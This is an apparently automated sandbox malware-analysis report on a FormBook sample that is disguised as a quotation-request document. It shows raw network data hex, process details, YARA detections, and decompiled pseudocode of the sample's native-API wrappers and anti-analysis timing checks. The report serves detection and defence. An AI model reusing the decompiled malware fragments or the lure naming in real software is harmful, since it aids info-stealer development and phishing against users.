YwP[^Obq_\C<e/&#Rf^/by?Q9\7\|c#gN]gI=SqJrY\|g;)!+s#v_ Qh'bY* mALYpTh5d+)Va][fqc[@]cH+ER"*wVAgC
2021-09-24 05:56:42 UTC	432	IN	Data Raw: 03 93 28 cf 35 43 23 e1 bb 00 40 52 67 e9 95 4f bc d9 a1 6d 37 b4 8c 0a 9a 5e 6f fb 1c dd 42 a5 b5 af 0b 61 5c e7 3a 53 6d aa 83 65 50 bb e3 47 2e 3d 57 66 ad 36 25 a3 34 c1 75 cd 7f a0 6a 27 ce 11 f5 e7 c9 76 14 bc f3 09 13 bc 63 68 00 40 30 b1 26 a7 4e fb 1e 11 25 ab 59 d2 90 76 14 f0 a4 f3 6b 79 eb e7 23 e4 04 d1 fc 24 61 b3 dd aa 83 65 50 bb e3 d3 cd 70 4c 7d e0 8b ff fc 76 52 f3 a7 fb ea 3b 90 0f e8 0a ee ab 00 db d5 d4 1f 1b 73 48 11 b0 5b b4 50 9a 92 71 a2 b1 13 05 22 f2 35 91 3f a6 45 8d 12 9f 2b 68 0a 0d 4d 78 56 0b 53 00 5f 9f 23 64 a9 bd 29 a2 4d 3d dc 20 d5 2a 5b 52 80 8b 74 18 84 30 35 80 3c 8d 13 3d d6 dc cf 6b e0 d1 5b 1d db 25 20 99 3a 8a bb 6d cb 8a 71 e2 41 de 30 9c d0 9f d4 e0 c6 56 e3 7c d5 75 44 3c 58 e2 b6 2d f6 ea 19 55 19 c5 6a 77 Data Ascii: (5C#@RgOm7^oBa\:SmePG.=Wf6%4uj'vch@0&N%Yvky#$aePpL}vR;sH[Pq"5?E+hMxVS_#d)M= *[Rt05<=k[% :mqA0V\|uD<X-Ujw
2021-09-24 05:56:42 UTC	448	IN	Data Raw: 7d f1 57 5c 2b 29 5d 5b 13 f5 a2 3a 22 11 a0 3d 55 85 30 e5 9f 75 90 4c 7d 1e 6f 45 60 c9 06 5d 64 d5 1f ec ad ca a1 c6 0f 1b 1b 82 0f a9 18 de f4 57 8e 86 74 4c da 6f 05 ff bf f8 ad 7a 7a 19 8f c8 37 54 44 6d 7e 50 e6 05 52 c3 4a e5 87 7f 25 13 e9 8f 81 29 1a 84 23 95 1d 4c 7f f7 14 6b 32 b1 15 76 51 80 67 b2 d0 55 4e c3 0d 37 cd af c7 e6 76 ae a8 be af f2 ab 2d 67 70 77 25 13 f1 a3 bf 7d bc 61 f4 32 ee bb e3 ea 4f 64 e8 17 82 68 33 3e 6f 2e 3f 0c 6a 2f f4 39 cc 0e 6e 41 e6 aa 48 b8 e1 bf b3 0b 68 30 b9 66 96 7b 57 db ae 8c 0c 6a 3f 9b 7f 25 13 15 76 04 98 10 73 d3 5e 40 3e 5c 43 3c 8c 7d a4 3d a5 d3 63 56 8c 85 1b c8 fb 0a c3 77 3b 5c 5d 16 80 26 1f 39 24 8e 0f 94 ca 50 a4 76 62 d9 57 09 30 50 7e 63 57 71 3a 8b 38 35 bd e8 3d bc fb 1f 03 5f fb ad 10 29 Data Ascii: }W\+)][:"=U0uL}oE`]dWtLozz7TDm~PRJ%)#Lk2vQgUN7v-gpw%}a2Odh3>o.?j/9nAHh0f{Wj?%vs^@>\C<}=cVw;\]&9$PvbW0P~cWq:85=_)
2021-09-24 05:56:42 UTC	464	IN	Data Raw: e5 4f 84 30 33 37 0d 67 ae b1 92 0b 17 fd 2e b5 b3 85 79 24 de bf 79 9d ad 91 87 a5 d4 94 c6 00 50 fe 08 04 36 b2 9b 22 9a a0 a8 41 a1 d0 e9 0f ad ac 4c ad 17 5d 67 f5 6c cb 60 de ca cf e0 d0 d5 5e e3 72 0b 00 a0 e8 c7 82 2a d7 1f 7b cc 84 14 22 c3 23 dc 03 2a d6 aa 4d 0d ec 6b 39 4a 7a a1 a4 b0 2f 34 b4 e7 f0 dc 36 4e fc 89 f9 9a 8d 3b d0 10 f8 6b 46 ea 3a e0 01 52 05 50 d9 dd 69 30 67 3b 52 77 13 7d 1e 6e 4c f6 81 19 43 e9 cc 4c 8a b1 e8 59 e7 13 7c 86 ff fc 76 64 b5 b3 91 87 06 08 ea b0 2e 7a cf 7c a6 ef 52 f3 a7 b1 aa 8e ad 47 e0 c9 f5 e5 e8 99 1a 8e f2 a0 29 29 a3 32 36 c3 86 76 ba 1e d4 96 91 87 9d cd 91 85 8b 8b 24 1b f7 ae 45 a6 89 db 27 41 6e bf 15 fd b9 18 37 20 c0 33 0c 9e dc bd 94 18 5e 96 67 fd 71 0f c3 2e e2 6e b0 14 f8 81 62 73 5b 55 d4 46 Data Ascii: O037g.y$yP6"AL]gl`^r{"#Mk9Jz/46N;kF:RPi0g;Rw}nLCLY\|vd.z\|RG))26v$E'An7 3^gq.nbs[UF
2021-09-24 05:56:42 UTC	480	IN	Data Raw: fc c3 89 fb b5 ee c7 82 2a 1e c9 86 35 f6 35 43 22 a1 bf 71 86 4f 08 61 e3 81 c1 75 8f 36 f1 de 74 73 fb f4 24 a0 81 e9 8c bf 51 80 27 35 e3 bf 71 c6 14 7b 9d 1b 03 d6 23 1c 8d 03 d6 23 1c 8d 03 d6 23 1c 8d 03 d6 23 1c 8d 03 d6 23 1c 8d 03 d6 23 1c 8d 42 dc d8 27 65 21 7f 84 24 9d 26 a2 b1 52 03 d6 a3 34 c1 75 cf 94 93 10 8c 81 e9 c0 0c 6a 37 44 e4 01 c2 cb ee 3a af 00 54 07 df 37 48 ed d5 21 18 84 70 44 e4 41 5e e3 bf 71 de cb 8b ff f4 64 6b 83 a6 ba e4 32 d8 54 74 2c dc 73 cc 0d ee 57 cf a4 3a ce 50 c5 f6 1d 61 c6 6e 2f 46 85 9d 65 f8 67 b7 5f de 08 5d 0b 9c ca 6c 55 e6 36 a8 d1 db fa 7b dc 71 72 01 d2 5b 26 53 85 b3 e7 cc 0d ad f8 4d 78 17 b6 fd f8 2c 01 26 a3 75 7e 83 ee 16 31 0f f0 1d be c6 00 11 44 c0 f3 a3 85 ee 57 cf 25 6c 3b 11 44 fc 76 10 c2 f7 Data Ascii: *55C"qOau6ts$Q'5q{######B'e!$&R4uj7D:T7H!pDA^qdk2Tt,sW:Pan/Feg_]lU6{qr[&SMx,&u~1DW%l;Dv
2021-09-24 05:56:42 UTC	496	IN	Data Raw: e2 b9 6b b9 64 95 eb fc 76 51 80 9f af 41 de 34 81 e8 67 e7 bc f7 94 13 fb f4 61 9e a9 41 5e 87 72 46 d1 e7 48 ef d9 a3 09 20 1e b1 db ca 39 b3 32 bd 2c 4e 17 6a 62 e6 75 17 89 a8 47 1e d8 27 4f 7c 34 c1 75 cf 9c 1d e3 34 94 50 a3 6d 4e 11 0a 9a e6 cf 7d 22 65 53 c8 53 6d 42 a5 b5 5b d6 df 12 1f 03 5f fb ad 10 29 e9 ff 03 29 6f 1e 79 27 da e8 db 46 e8 0a 9d 5e bc eb 63 54 4a 7a a5 c7 e8 ca e1 bb 2d 17 7e c2 0b bd e1 9b ab 21 28 58 74 4d 38 36 5b fe 2f f6 5a 14 11 19 8d 56 c8 59 77 58 4b 2d d9 42 1f ec 15 1d e6 85 0d 13 b4 0b 00 50 fe 7a 59 28 43 27 a8 be ae 30 f6 01 c2 7e 07 86 2d 68 f3 d1 67 4f 3b 68 db 51 7f 20 bc 02 54 47 9d a6 1b 0a d7 41 13 72 b6 22 f0 80 8f 08 24 b8 b5 fa 95 40 56 0a 0f a0 5d de b9 6f 3e 92 48 15 b8 68 db eb 5a 14 7b c7 3f b1 94 18 Data Ascii: kdvQA4gaA^rFH 92,NjbuG'O\|4u4PmN}"eSSmB[_))oy'F^cTJz-~!(XtM86[/ZVYwXK-BPzY(C'0~-hgO;hQ TGAr"$@V]o>HhZ{?
2021-09-24 05:56:42 UTC	512	IN	Data Raw: bf 73 20 55 ba e2 4f 7e 8b 7c ad 89 78 5a 60 25 c8 87 f6 2c 87 b6 7c 5e 1d 0e 2a 29 26 a0 45 e5 39 8c 02 ab ba 28 47 83 ee 57 8e 87 4c 0e 2b a6 45 99 e2 b8 09 e3 bf 61 aa 79 d8 67 0e 0e d7 5a eb 61 7b 34 91 f4 21 95 ea b0 5d d2 f2 a7 b7 5f 9f 2b 2c 0b c8 8d 67 80 98 ff fc 36 7b 96 ff a9 81 da dc bb 92 05 8c d7 f6 38 9b 73 9a f1 17 31 d7 2e e1 bb 68 33 0e 6e 40 db af b1 ad b6 22 9a a0 6e 1d 56 55 79 33 c0 0c ec 93 f8 ae 33 c0 7e ed 3d a9 04 d5 a1 6f 7e 0d 84 60 a8 da 75 96 cd 4f 4f 83 11 45 2d da 2c f0 e7 90 e2 6d 41 a1 9e ef 31 6d bd 06 a9 34 8b fb 34 42 1f ec ac 38 ca ce 11 b0 e7 a0 15 fd f8 6d b9 de cb 74 fd 8c 69 b5 1b b0 cc 65 fc 89 04 e9 a3 dc 66 2a c1 49 1c 8e 6e c3 84 b0 53 43 e9 3c 58 ef 26 6c 9c 4c f6 69 b5 5a ae 30 fd 73 34 3e 2a e7 20 95 15 ed Data Ascii: s UO~\|xZ`%,\|^)&E9(GWL+EaygZa{4!]_+,g6{8s1.h3n@"nVUy33~=o~`uOOE-,mA1m44B8mtiefInSC<X&lLiZ0s4>*
2021-09-24 05:56:42 UTC	528	IN	Data Raw: 3f 1c 84 70 04 63 64 2a eb ea df b7 1f 28 d3 9c e4 7f cd 8f 48 d3 a8 be ae f2 50 fe 3a f0 70 44 a4 88 59 92 ce 6a 1b 0b e8 4a e1 bb 28 db 5e 1d 0f f0 5c 18 84 70 44 e4 41 5e 1d 0f f0 5c 18 84 70 44 e4 41 5e 1d 0f f0 5c 18 84 70 04 24 6e 32 d2 68 41 1b 7f 90 c5 10 3a 8b f4 64 6a 0c a6 ba a6 81 79 d8 67 8b 8b ff bc d4 37 48 ad 77 e7 c8 44 da 1c 8d 43 5c 34 c1 35 7d c1 75 8f 73 e7 c8 04 58 00 50 be 92 16 80 67 b0 d0 16 80 67 b0 d0 16 80 67 b0 d0 16 80 67 b0 d0 16 80 67 b0 d0 16 80 67 b0 d0 56 77 4b 73 8b 72 30 ca 66 43 07 92 e8 05 af 3b 1f 56 07 df f7 d0 da 2c f0 9e 09 e3 ff c7 f6 69 f5 d9 81 e9 8c bf 45 66 6e 7e 53 85 b2 ea 63 a8 fe 44 c4 fc 36 be 7a 5a 14 7b cc 0d ac bb 54 07 df b7 5f 9f 2b 2d 32 bd 6c 3b 50 fe 7a 5a 14 7b dc 30 b8 e1 bb 68 33 3f 59 92 8e Data Ascii: ?pcd*(HP:pDYjJ(^\pDA^\pDA^\p$n2hA:djyg7HwDC\45}usXPggggggVwKsr0fC;V,iEfn~ScD6zZ{T_+-2l;PzZ{0h3?Y
2021-09-24 05:56:42 UTC	544	IN	Data Raw: 34 29 ef 52 1b 5b 1d f3 a7 b7 a7 71 4b 69 5e 19 56 f4 64 a1 7f e6 cd ab 31 e9 49 7c d7 73 c8 d4 94 87 82 ab c0 e7 88 f2 9c e1 30 80 13 f9 13 84 f3 1e d4 96 97 19 06 2c 58 16 0b 3f d2 19 8f c8 37 68 ba 82 5b 69 d1 98 db 93 0f 98 ce d1 ab b5 d0 ec d8 fe f1 26 fe f3 39 7f b2 82 38 32 79 5b 7a d1 cd 8f 48 60 e2 3d 55 ac 7b 35 52 88 a9 c8 c5 7f e5 3b af b1 b3 d7 44 1b 2a 54 0f f3 2b 92 81 ee 25 de 34 c1 75 36 44 f5 94 6c 3b 50 fe 83 6f 13 7e a0 f6 37 a1 5a e2 b8 39 c5 7e 63 bf 80 8f 0f 84 a2 34 1d 79 53 45 30 33 09 68 f5 6e 83 67 e6 15 3d de f7 b0 8e d9 4a 84 a4 8f e5 b1 1b 17 c1 f6 6e 74 c4 e8 31 b0 d6 57 78 d3 8c f2 eb d5 62 a5 33 b4 82 76 25 f4 5d 76 ba fd 73 cf e0 e2 b8 3d 0e e5 95 14 0f 39 c9 3e 9c 2f d4 96 47 e2 97 ea 4c 17 81 b0 7b 2f 7f e7 21 d9 f8 ad Data Ascii: 4)R[qKi^Vd1I\|s0,X?7h[i&982y[zH`=U{5R;D*T+%4u6Dl;Po~7Z9~c4ySE03hng=Jnt1Wxb3v%]vs=9>/GL{/!

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe PID: 5928 Parent PID: 6528

General

Start time:	07:56:37
Start date:	24/09/2021
Path:	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe'
Imagebase:	0x400000
File size:	829440 bytes
MD5 hash:	C1930047F21A89DDFBA5A2E2DB2D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Chronological Activities

Analysis Process: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe PID: 3460 Parent PID: 5928

General

Start time:	07:56:54
Start date:	24/09/2021
Path:	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Imagebase:	0x400000
File size:	829440 bytes
MD5 hash:	C1930047F21A89DDFBA5A2E2DB2D5485
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000001.313464518.0000000000400000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe PID: 3460 Parent PID: 5928 Request_For_Quotation#234242_signed_copy_document_september_rfq.exeCOMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	2.8%
Signature Coverage:	8.5%
Total number of Nodes:	211
Total number of Limit Nodes:	35

Executed Functions

Function 00418660, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00418660(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E004191B0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t4 =  &_a40; // 0x413a21
				_t6 =  &_a32; // 0x413d62
				_t12 =  &_a8; // 0x413d62
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36,  *_t4); // executed
				return _t18;
			}

0x00418663
0x0041866f
0x00418677
0x0041867c
0x00418682
0x0041869d
0x004186a5
0x004186a9

APIs

NtReadFile.NTDLL(b=A,5E972F65,FFFFFFFF,?,?,?,b=A,?,!:A,FFFFFFFF,5E972F65,00413D62,?,00000000), ref: 004186A5

Strings

b=A, xrefs: 00418682, 00418690
b=A, xrefs: 0041869D, 004186A4
!:A, xrefs: 0041867C, 00418688

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !:A$b=A$b=A
API String ID: 2738559852-704622139
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 1e9a607f8d7ae55c6529455560845d335dd5ab867efd933cdf95456f7e89143a
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 7CF0A4B2200208ABDB14DF89DC95EEB77ADAF8C754F158249BA1D97241DA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004185B0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004185B0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E004191B0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004185bf
0x004185c7
0x004185fd
0x00418601

APIs

NtCreateFile.NTDLL(00000060,00408B03,?,00413BA7,00408B03,FFFFFFFF,?,?,FFFFFFFF,00408B03,00413BA7,?,00408B03,00000060,00000000,00000000), ref: 004185FD

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d6b5cde0bcb09b7c0358823ed137c5ed8f79ffe5ada1a139c779eb2a876d5e3
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 00F0B2B2200208ABCB08CF89DC95EEB77ADAF8C754F158248FA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418790, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00418790(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E004191B0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041879f
0x004187a7
0x004187c9
0x004187cd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00419384,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004187C9

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: dde6359f0c5cf0f3b7cc61d53361d99b03a052e7ad6e115d9fdbfc5a6ee34577
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: C2F015B2200208ABDB14DF89CC81EEB77ADAF88754F158149FE0997241C630F810CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 004186E0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004186E0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409753
				E004191B0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004186e3
0x004186e6
0x004186ef
0x004186f7
0x00418705
0x00418709

APIs

NtClose.NTDLL(00413D40,?,?,00413D40,00408B03,FFFFFFFF), ref: 00418705

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: cde372c9834ecde76929cfdbc6e84a5308d085747d856cc7173a1988eed98478
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 23D012752002147BD710EB99CC45ED7776DEF44750F154459BA195B242C530F94086E4

Uniqueness

Uniqueness Score: -1.00%

Function 004186DD, Relevance: 1.5, APIs: 1, Instructions: 18
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004186DD(void* __edx, void* __esi, void* _a4) {
				intOrPtr _v0;
				intOrPtr _v1947432107;
				long _t10;
				void* _t14;

				_v1947432107 = _v1947432107 + __esi;
				_t7 = _v0;
				_t4 = _t7 + 0x10; // 0x300
				_push(__esi);
				_t5 = _t7 + 0xc50; // 0x409753
				E004191B0(_t14, _v0, _t5,  *_t4, 0, 0x2c);
				_t10 = NtClose(_a4); // executed
				return _t10;
			}

0x004186de
0x004186e3
0x004186e6
0x004186e9
0x004186ef
0x004186f7
0x00418705
0x00418709

APIs

NtClose.NTDLL(00413D40,?,?,00413D40,00408B03,FFFFFFFF), ref: 00418705

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 4266611714caad6fecf93f7d42241911c219cdb9e647bcd02af06d8b256dc961
Instruction ID: d6aa4a2b76932cfed57f7abbbeb899578ee7f6a0744ff3f4b4d666358c229660
Opcode Fuzzy Hash: 4266611714caad6fecf93f7d42241911c219cdb9e647bcd02af06d8b256dc961
Instruction Fuzzy Hash: FFD02BB940D3C04FDB10FB74A8C00C77F60DE415387145A8FE4A407603C2289615D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00A59860, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00A5986A

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0fd9178f70a7e71ebd60122c508530301637174e453e49a8a47c0c2c4e299b92
Instruction ID: 01e38f4eb81fcfc3b52da05435d651a2bf1f17559722dc06c1b3839cd6de977f
Opcode Fuzzy Hash: 0fd9178f70a7e71ebd60122c508530301637174e453e49a8a47c0c2c4e299b92
Instruction Fuzzy Hash: 4390027170100813D311616A4504707001997D03C1F91C422A0414558D9A968952F161

Uniqueness

Uniqueness Score: -1.00%

Function 00A596E0, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00A596EA

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 85c60e06488a2dbb414fb88158553794bea4ed22ea3219c4e98284aa01e2d55b
Instruction ID: acee84d3fe0d625309e564dda8a708dcdfa0cdb1c4c0dc461eeb2c6f632d8efd
Opcode Fuzzy Hash: 85c60e06488a2dbb414fb88158553794bea4ed22ea3219c4e98284aa01e2d55b
Instruction Fuzzy Hash: C490027170108C02D310616A840474A001597D0381F55C421A4414658D8AD58891B161

Uniqueness

Uniqueness Score: -1.00%

Function 00A59660, Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00A5966A

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c6d0281acda6bb6bfb3b45eff6439eed52d16c1f93929b52b8d5e5341128b18
Instruction ID: 415763800343310357bec0ac22a3169653c4b1ef28b9263ff1170b2231815032
Opcode Fuzzy Hash: 9c6d0281acda6bb6bfb3b45eff6439eed52d16c1f93929b52b8d5e5341128b18
Instruction Fuzzy Hash: 0090027170100C02D380716A440464A001597D1381F91C025A0015654DCE558A59B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 004088C0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004088C0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* __ebx;
				void* __edi;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E20(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407030( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041A0C0( &_v284, 0x104);
						E0041A730( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00413DE0(E00413D80(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe1b5
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407060( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070E0(_t39, _t50, _t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088cb
0x004088d3
0x004088d5
0x004088da
0x004088df
0x004088f2
0x004088f7
0x00408900
0x0040890c
0x0040891f
0x00408924
0x00408927
0x00408930
0x00408942
0x00408947
0x0040894c
0x00000000
0x00000000
0x0040894e
0x00408952
0x00000000
0x00000000
0x00408954
0x00000000
0x00408952
0x00408956
0x00408959
0x0040895f
0x00408961
0x0040896c
0x00408971
0x00408974
0x00408981
0x0040898c
0x0040898e
0x00408994
0x00408998
0x0040899b
0x0040899b
0x004089a2
0x004089a5
0x004089aa
0x004089b7
0x004088e6
0x004088e6
0x004088e6

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 299515b6a4c4b7fe34a0254a828e2e35bbff23895406936d62d23753fc4f2dc5
Instruction ID: 2d85129770ae1569db338c81f9331519a7dd6e0895954f6df8c699ab0d1d1ce1
Opcode Fuzzy Hash: 299515b6a4c4b7fe34a0254a828e2e35bbff23895406936d62d23753fc4f2dc5
